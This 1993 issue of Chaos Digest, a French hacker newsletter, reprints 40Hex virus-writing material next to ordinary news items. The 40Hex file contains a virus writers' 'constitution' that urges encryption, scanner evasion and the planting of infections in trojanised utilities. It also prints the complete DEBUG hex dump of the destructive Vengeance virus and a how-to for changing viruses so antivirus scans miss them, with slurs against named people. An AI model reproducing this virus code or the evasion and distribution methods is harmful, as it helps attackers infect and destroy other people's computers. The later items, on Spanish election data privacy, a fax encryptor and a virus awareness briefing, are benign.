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Chaos Digest Volume 01 Numero 47
Chaos Digest Mardi 8 Juin 1993 Volume 1 : Numero 47
ISSN 1244-4901
Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
Archiviste: Yves-Marie Crabbe
Co-Redacteurs: Arnaud Bigare, Stephane Briere
TABLE DES MATIERES, #1.47 (8 Juin 1993)
File 1--File 1--40H VMag Number 5 Volume 2 Issue 1 #005-007 (reprint)
File 2--Elections espagnoles et libertes des donnees (news)
File 3--SurFax, boitier de securisation des telecopies (produit)
File 4--_Computer Virus Awareness Day_ briefing's (communique)
Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
available at no cost by sending a message to:
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The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299)
groups.
Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
466893. Back issues of ChaosD can be found on the Internet as part of the
Computer underground Digest archives. They're accessible using anonymous FTP:
* kragar.eff.org [192.88.144.4] in /pub/cud/chaos
* uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
* halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
* ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
* cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos
* ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
* nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
* orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos
CHAOS DIGEST is an open forum dedicated to sharing French information among
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----------------------------------------------------------------------
Date: Tue May 11 09:24:40 PDT 1993
From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
Subject: File 1--40H VMag Number 5 Volume 2 Issue 1 #005-007 (reprint)
40Hex Number 5 Volume 2 Issue 1 File 005
___________________________________________
The Constitution of Worldwide Virus Writers
___________________________________________
Initial Release - February 12, 1992
___________________________________________
We, the members of PHALCON/SKISM, in order to form a more perfect
environment worldwide for the virus community, establish justice, ensure
intracommunity tranquility, provide for the common defense and offense,
promote the general welfare, and secure the blessings of liberty to
ourselves and our posterity, do ordain and establish this Constitution of
Worldwide Virus Writers.
ARTICLE I - REGARDING ORIGINAL VIRII
Section A - DEFINITION
The term "original virus" herein indicates programming done
exclusively by either one individual or group, with no code
taken from any other source, be it a book or another virus.
Section B - CODE REQUIREMENTS
For an original virus to conform to the standards set by
this document, it must include the following:
1) The title of the virus in square brackets followed by a
zero byte should be in the code, in a form suitable for
inclusion into SCAN(1). This is to ensure that the
name of the virus is known to those examining it.
2) The name of the author and his/her group affilition/s
should be included in the code, followed by a zero
byte. At the present, this is an optional requirement.
3) Some form of encryption or other form of stealth
techniques must be used. Even a simple XOR routine
will suffice.
4) If the virus infects files, the code should be able to
handle infection of read only files.
5) It must have some feature to distinguish it from other
virii. Creativity is encouraged above all else.
6) The virus must not be detectable by SCAN.
Section C - IMPLEMENTATION
This section, and all sections hereafter bearing the heading
"IMPLEMENTATION" refer to the recommended method of
implementation of the suggestions/requirements listed in the
current article.
1) Virus_Name db '[Avocado]',0
2) Author db 'Dark Angel, PHALCON/SKISM',0
ARTICLE II - REGARDING "HACKED" VIRII
Section A - DEFINITION
The term "hacked virus" herein refers to any virus written
by either one individual or a group which includes code
taken from any other source, be it a book, a code fragment,
or the entire source code from another virus.
The term "source virus" herein refers to the virus which
spawned the "hacked virus."
Section B - CODE REQUIREMENTS
For a "hacked" virus to conform to the standards set forth
by this document, it must include the following, in addition
to all the requirements set down in Article I of this
document:
1) The title, author (if available), and affiliation of
the author (if available) of the original virus.
2) The author of the hacked virus must give the source
code of said virus to the author of the source virus
upon demand.
3) No more Jerusalem, Burger, Vienna, Stoned, and Dark
Avenger hacks are to be written.
4) The source virus must be improved in some manner
(generally in efficiency of speed or size).
5) The hacked virus must significantly differ from the
source virus, i.e. it cannot be simply a text change.
Section C - IMPLEMENTATION
1) Credit db 'Source stolen from Avocado by Dark Angel of
PHALCON/SKISM',0
ARTICLE III - REGARDING VIRAL STRAINS
Section A - DEFINITION
The term "viral strain" herein refers to any virus written
by the original author which does not significantly differ
from the original. It generally implies a shrinking in code
size, although this is not required.
Section B - CODE REQUIREMENTS
For a "viral strain" to conform to the standards set by this
document, it must include the following, in addition to all
the requirements set down in Article I of this document:
1) The name of the virus shall be denoted by the name of
the original virus followed by a dash and the version
letter.
2) The name of the virus must not change from that of the
original strain.
3) A maximum of two strains of the virus can be written.
Section C - IMPLEMENTATION
1) Virus_Name db '[Avocado-B]',0
ARTICLE IV - DISTRIBUTION
Section A - DEFINITION
The term "distribution" herein refers to the transport of
the virus through an infected file to the medium of storage
of a third (unwitting) party.
Section B - INFECTION MEDIUM
The distributor shall infect a file with the virus before
uploading. Suggested files include:
1) Newly released utility programs.
2) "Hacked" versions of popular anti-viral software, i.e.
the version number should be changed, but little else.
3) Beta versions of any program.
The infected file, which must actually do something useful,
will then be uploaded to a board. The following boards are
fair game:
1) PD Boards
2) Lamer boards
3) Boards where the sysop is a dick
No virus shall ever be uploaded, especially by the author,
directly to an antivirus board, such as HomeBase or
Excalibur.
Section C - BINARY AND SOURCE CODE AVAILABILITY
The binary of the virus shall not be made available until at
least two weeks after the initial (illicit) distribution of
the virus. Further, the source code, which need not be made
available, cannot be released until the latest version of
SCAN detects the virus. The source code, should it be made
available, should be written in English.
Section D - DOCUMENTATION
Documentation can be included with the archive containing
the binary of the virus, although this is optional. The
author should include information about the virus suitable
for inclusion in the header of VSUM(2). A simple
description will follow, though the author need not reveal
any "hidden features" of the virus. Note this serves two
purposes:
1) Enable others to effectively spread the virus without
fear of self-infection.
2) Ensure that your virus gets a proper listing in VSUM.
ARTICLE V - AMENDMENTS
Section A - PROCEDURE
To propose an amendment, you must first contact a
PHALCON/SKISM member through one of our member boards.
Leave a message to one of us explaining the proposed change.
It will then be considered for inclusion. A new copy of the
Constitution will then be drafted and placed on member
boards under the filename "PS-CONST.TXT" available for free
download by all virus writers. Additionally, an updated
version of the constitution will be published periodically
in 40HEX.
Section B - AMENDMENTS
None as of this writing.
ARTICLE VI - MISCELLANEOUS
Section A - WHO YOU CAN MAKE FUN OF
This is a list of people who, over the past few years, have
proved themselves to be inept and open to ridicule.
1) Ross M. Greenberg, author of FluShot+
2) Patricia (What's VSUM?) Hoffman.
2) People who post "I am infected by Jerusalem, what do I
do?" or "I have 20 virii, let's trade!"
3) People who don't know the difference between a virus
and a trojan.
4) Lamers and "microwares puppies"
Section B - WHO YOU SHOULDN'T DIS TOO BADLY
This is a list of people who, over the past few years, have
proved themselves to be somewhat less inept and open to
ridicule than most.
1) John McAfee, nonauthor of SCAN
2) Dennis, true author of SCAN
Section C - MOTIVATION
In most cases, the motivation for writing a virus should not
be the pleasure of seeing someone else's system trashed, but
to test one's programming abilities.
__________
1 SCAN is a registered trademark of McAfee Associates.
2 VSUM is a registered trademark of that bitch who doesn't know her own
name.
+++++
40Hex Number 5 Volume 2 Issue 1 File 006
----------------------------------------------------------------------------
PHALCON/SKISM Vengeance virus. Released 02/03/92
Stats: Non-Resident .COM infector. in 40Hex Vmag
Infects files larger than 1992 bytes
Size of the virus is about 722 bytes
Note: This Virus is dedicated to the memory of Digital Warfare BBS, which was
online up until January 20th, 1992. On that fateful day, the BBS
computer was confiscated by local authorities. Hopefully the board will
come back up, and be as good as before...
This virus activates the 20th of every month. Just for the fun of it, I'm not
going to tell you what this thing does upon activation. I will say one thing
unless you have suicidal tendencies, DON'T test it on your own machine, OR
the machine of someone you love. It ain't pretty. It IS destructive. (286+)
It IS noisy. And it IS named appropriately.
Text that can be found in the virus:
*** Vengeance is ours! ***
PHALCON/SKISM '92
As of Scan 86, this virus isn't found. Since it is based on the Violator
virus, other scanners may find it. Oh well.
Have fun with this one, just don't run it on the 20th... at least, not on
YOUR machine!
%%%% DecimatoR /PHALCON/SKISM %%%%
---------------------------------------------------------------------------
n veng.com
e 0100 EB 0F 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0110 90 51 BA 27 03 FC 8B F2 83 C6 3D BF 00 01 B9 03
e 0120 00 F3 A4 8B F2 B8 0F FF CD 21 3D 01 01 75 03 E9
e 0130 E3 01 06 B4 2F CD 21 89 5C 33 90 8C 44 35 07 BA
e 0140 92 00 90 03 D6 B4 1A CD 21 90 06 56 8E 06 2C 00
e 0150 BF 00 00 5E 56 83 C6 43 AC B9 00 80 F2 AE B9 04
e 0160 00 AC AE 75 EE E2 FA 5E 07 89 7C 4E 8B FE 83 C7
e 0170 52 8B DE 83 C6 52 8B FE EB 3D 83 7C 4E 00 75 03
e 0180 E9 3F 01 1E 56 26 8E 1E 2C 00 90 8B FE 90 26 8B
e 0190 75 4E 90 83 C7 52 90 90 AC 90 3C 3B 90 74 0B 90
e 01A0 3C 00 74 03 AA EB F0 BE 00 00 5B 1F 89 77 4E 80
e 01B0 FD 5C 74 03 B0 5C AA 89 7F 50 8B F3 83 C6 48 B9
e 01C0 06 00 F3 A4 8B F3 B4 4E BA 52 00 03 D6 B9 03 00
e 01D0 CD 21 EB 04 B4 4F CD 21 73 02 EB 9E 8B 84 A8 00
e 01E0 24 1C 3C 1C 74 EE 81 BC AC 00 2D F7 77 E6 81 BC
e 01F0 AC 00 C8 07 72 DE 8B 7C 50 56 81 C6 B0 00 AC AA
e 0200 3C 00 75 FA 5E B8 00 43 BA 52 00 03 D6 CD 21 89
e 0210 4C 3B B8 01 43 83 E1 FE BA 52 00 03 D6 CD 21 B8
e 0220 02 3D BA 52 00 03 D6 CD 21 73 03 E9 87 00 8B D8
e 0230 B8 00 57 CD 21 89 4C 37 89 54 39 B4 2C CD 21 B4
e 0240 3F B9 03 00 BA 3D 00 03 D6 CD 21 72 53 3D 03 00
e 0250 75 4E B8 02 42 B9 00 00 BA 00 00 CD 21 72 41 8B
e 0260 C8 2D 03 00 89 44 41 81 C1 16 03 8B FE 81 EF 14
e 0270 02 89 0D B4 40 B9 D3 02 8B D6 81 EA 16 02 CD 21
e 0280 72 1E 3D D3 02 75 19 B8 00 42 B9 00 00 BA 00 00
e 0290 CD 21 72 0C B4 40 B9 03 00 8B D6 83 C2 40 CD 21
e 02A0 8B 54 39 8B 4C 37 83 E1 E0 83 C9 1C B8 01 57 CD
e 02B0 21 B4 3E CD 21 B8 01 43 8B 4C 3B BA 52 00 03 D6
e 02C0 CD 21 1E B4 1A 8B 54 33 8E 5C 35 CD 21 1F B4 2A
e 02D0 CD 21 80 FA 14 75 3E B4 09 8B D6 83 C2 00 CD 21
e 02E0 BA 80 00 32 ED B4 05 CD 13 80 FE 01 74 04 FE C6
e 02F0 EB F3 80 FD 20 74 06 32 F6 FE C5 EB E8 80 FA 81
e 0300 74 06 B2 81 32 F6 EB DB B8 09 25 CD 21 B4 02 B2
e 0310 07 CD 21 EB F8 59 33 C0 33 DB 33 D2 33 F6 BF 00
e 0320 01 57 33 FF C2 FF FF 0D 0A 2A 2A 2A 20 56 65 6E
e 0330 67 65 61 6E 63 65 20 69 73 20 6F 75 72 73 21 20
e 0340 2A 2A 2A 0D 0A 24 20 53 4B 49 53 4D 2F 50 68 61
e 0350 6C 63 6F 6E 20 27 39 32 20 24 00 00 00 00 00 00
e 0360 00 00 00 00 CD 20 90 E9 00 00 50 41 54 48 3D 2A
e 0370 2E 43 4F 4D 00 00 00 00 00 00 00 00 00 00 00 00
e 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03E0 00 00 00 00
rcx
03E3
w
q
+++++
40Hex Number 5 Volume 2 Issue 1 File 007
HOW TO MODIFY A VIRUS SO SCAN WON'T CATCH IT
PART II
In Issue 1 of 40Hex, Hellraiser presented a simple (though incredibly
tedious) method of searching for scan strings. In short, this was his
method:
1) Make a small carrier file.
2) Infect the carrier with the virus.
3) Fill parts of the virus with a dummy value until you isolate the
scan string.
4) Modify the virus so it is not detectable, i.e. switch the order of
the instructions.
The problem is, of course, that step 3 takes a maddeningly inordinate
amount of time. I shall present a tip which will save you much time.
The trick is, of course, to find out where the encryption mechanism and
hence the unencrypted portion where the scan string is usually located.
Once the encryption mechanism is located, isolating the scan string is
much simpler.
Of course, the problem is finding the encryption mechanism in the first
place. The simplest method of doing this is using V Communication's
Sourcer 486, or any similar dissassembler. Dissassemble the file and
search for the unencrypted portions. Most of the file will be DBs, so
search for any part which isn't. Once you have located those parts, all
you have to do is subtract 100h from the memory location to find its
physical offset in the file. You now have a general idea of where the
scan string is located, so perform step 3 until you find it.
Ack, you say, what if you don't have Sourcer? Well, all is not lost.
Load up the infected carrier in good old DEBUG. The first instruction
(in COM infections) should be a JMP. Trace (T) into the JMP and you
should be thrown into the area around the encryption mechanism. Use the
memory offset (relative to the PSP segment) and subtract 100h to find
the physical location of the unencrypted portion in the file. Once
again, once you have this, perform step 3. Simple, no?
Sometimes, SCAN looks for the writing portion of the code, which
generally calls INT 21h, function 40h. This is usually, though not
always, located somewhere near the encryption mechanism. If it is
not near there, all you have to do is trace through the virus until
it calls the write file function.
Another method of looking for scan codes is to break the infected carrier
file into a series of 50 byte overlapping chunks. For example, the first
chunk would be from offset 0 to 49, the second from 24 to 74, the third
from 49 to 99, etc. Then use SCAN to see which chunk holds the scan code.
This is by far the easiest, not to mention quickest, method.
One side note on step 1, making the carrier file. Some virii don't
infect tiny files. What you must do is create a larger file (duh).
Simply assemble the following two lines:
int 20h
db 98 dup (0)
(with all the garbage segment declarations and shit, of course) and
you'll have a nice 100 byte carrier which should be sufficient in most
cases, with maybe the exception of the Darth Vaders.
Enjoy!
Dark Angel
------------------------------
Date: Mon Jun 7 22:05:44 -0100 1993
From: rfcalvo@guest2.atimdr.es (Rafael Fernandez Calvo )
Subject: File 2--Elections espagnoles et libertes des donnees (news)
CCCCC LL II
CC LL II
CC LL II -- N E W S FROM S P A I N --- June 7, 1993
CCCCC LLLLLL II
COMMISSION for LIBERTIES
and INFORMATICS (*)
PRIVACY AND GENERAL ELECTIONS: TRICKS OF THE TRADE
++++++++++++++++++++++++++++++++++++++++++++++++++
Spain held general parlamentary elections yesterday, June 6th.
Regardless of the ocutcome (the ruling Socialist Party obtained again
a majority of the seats), one of the parties participating in the
event, "Centrist Unity-Spanish Democratic Party", was expelled of the
race on June 1 by the Electoral Control Committee on the grounds that
the party was actually a sham put up by a group of direct marketing
pirates. It is not the first time it happens but it is the first time
corrective actions are taken again such violations.
Regardless of the fact that this party had no choice whatsoever
of winning a single seat, it showed again one of the problems
that has been plaguing citizens' privacy in Spain since 1977 (first
democratic elections after forty years of dictatorship): the use for
commercial purposes of the magnetic tapes containing the Election
Census, provided to the parties by the Public Administration.
Big parties do not seem to have participated in data smuggling
practices but there is evidence that many of the companies that process
the tapes provided by them are the main source of abuse against the
privacy of citizens in regard to their personal data in Spain, since they
duplicate and sell the tapes. This fact has been frequently dennounced by
CLI (*).
The recently approved Personal Data Law could help to stop these
practices.
* SOME WORDS ABOUT CLI
The --Commission for Liberties and Informatics, CLI-- is an independent
and pluralistic organization that was officially constituted in April'91.
Its mission is to "promote the development and protection of citizens'
rights, specially privacy, against misuse of Information Technologies".
As of May '93, CLI is composed by nine organizations, with a joint
membership of about 3,000,000 people. They cover a very wide spectrum of
social interest groups: associations of computer professionals, judges,
civil rights leagues, trade unions, consumers groups, direct marketing
industry, etc.
CLI is confederated with similar bodies created in some other Spanish
Regions such as Valencia, Basque Country and Catalonia, and has fluid
working relationships with many public and private Data Protection bodies
and entities all over the world, including CNIL, CPSR and Privacy
International.
CLI has its headquarters in:
Padilla 66, 3 dcha.
E-28006 Madrid, Spain
Phone: (34-1) 402 9391
Fax: (34-1) 309 3685
E-mail: rfcalvo@guest2.atimdr.es
------------------------------
Date: Tue Jun 8 06:06:17 EDT 1993
From: celma_s@epita.fr (Samuel Celma )
Subject: File 3--SurFax, boitier de securisation des telecopies (produit)
SURFAX
High Security Encryption System for Facsimile Communication
* Connected between any GIII facsimile equipment and the telephone line;
* Use a high performance crypto algorithm (2'(59) = 10'(18) possible
cipher keys);
* Designed for finance, commercial and industrial operations;
* very easy and friendly handling.
SurFax, used on both side of the PSTN with group 3 fax, provides security
for all the transmitted documents.
Installation
+------------
+-----+ +--------+ +--------1 +--------+ +-----+
| Fax |====| Surfax |=====> | PSTN | <=====| Surfax |====| Fax |
+-----+ +--------+ +--------+ +--------+ +-----+
Simply plugin and add-on
No modification required to the fax equipment
Operation
+---------
10-key keyboard
16 digits LCD display
Secret key handling with keyboard
Plain mode / encryption mode selectable with keyboard and hardkey
Dimensions: 16 x 20 x 12 cm
Weight: approx. 1.3 kg
Power: 110/200 VAC, 50/60 Hz
Facsimile Technical Specifications
+----------------------------------
Two facsimile modems
Transmission speed: 9600/7200/4800/2400 bit/s
(CCITT V29, V27ter, V21)
Designed to work with Group III facsimile equipments
Fully compatible for transmission to non-crypto fax equipment (T30 protocol)
Security Features
+-----------------
SurFax is a secret key system type.
(1) KEY MANAGEMENT
The system has an integrated key management. The user has to enter his 8
figures secret key on keyboard. A physical key allows the user to let
Surfax in the chosen mode (plain or cipher).
Otherwise, secret key can be erased at any time at the touch of a button,
and is automatically erased after each communication. A 32-bit session key is
generated by a "built-in" random number generator.
Both secret and session keys are combined into a cypher key (2'(59)
possible values) on each terminal. Both secret and session keys are never
transferred in clear between the two terminals. A new cypher key is created
for each transmitted page. Closed user groups can be created by request to
the manufacturer (by setting a customer specific parameter).
(2) CIPHER TECHNOLOGY
The K.E.A. (KTT Encryption Algorithm) is KTT proprietary. It is a realtime
data ciphering process and is used to encrypt only the facsimile data.
It is based on a random generator, which initial state relies on a cipher
key, issued from a secret key and a session key (2'(59)).
More informations
+-----------------
Mr David COHEN
SKTT Henry Kam Technologies & Telecommunations
2d rue de l'Epine Prolongee
93541 Bagnolet Cedex
Phone: +33 1 42 87 54 00
Fax: +33 1 42 87 23 91
------------------------------
Date: Tue Jun 8 06:06:17 EDT 1993
From: ae446@freenet.carleton.ca (Nigel Allen )
Subject: File 4--_Computer Virus Awareness Day_ briefing's (communique)
Press Release
from the National Computer Security Association.
Rep. Fields to sponsor Computer Virus Awareness Day briefing;
Rep. Markey to speak to NCSA
To: Assignment Desk, Daybook Editor
Contact: Larry Teien of 3M Data Storage Products, St. Paul, Minn.,
612-736-5961, or
Bob Bales of the National Computer Security Association,
Carlisle, Pa., 717-258-1816, or
Ken Greenberg of Fleishman-Hillard Inc., Los Angeles,
213-629-4974
News Advisory:
WHAT: National Computer Virus Awareness Day
Congressional briefing on the virus threat and recommended
remedial action, sponsored by Rep. Jack Fields (R-Texas),
ranking Republican on the House Subcommittee on
Telecommunications and Finance; and an informational
exhibit about computer virus control and information
security.
WHERE: Rayburn House Office Building, Washington, D.C.,
Room 2257
WHEN: Wednesday, June 9
8:30 a.m. to 9:30 a.m. -- Panelist presentations
9:30 a.m. to 10:30 a.m. -- Media Q&A
WHO: Co-sponsored by 3M Co. and the National Computer Security
Association (NCSA). Endorsed by the American Electronics
Association, the Electronic Industries Association and the
Microcomputer Managers Association.
Panel members to include representatives of NYNEX,
Rockwell International and the Departments of Justice
and Defense, as well as 3M and NCSA.
ALSO: 3M/NCSA Congressional dinner, featuring Rep. Edward J.
Markey (D-Mass.), chairman of the House Subcommittee
on Telecommunications and Finance.
Cotillion Room, Sheraton Washington Hotel
2660 Woodley Road N.W.; 7:45 p.m. on June 10
--
Nigel Allen, Toronto, Ontario, Canada ae446@freenet.carleton.ca
------------------------------
End of Chaos Digest #1.47
************************************
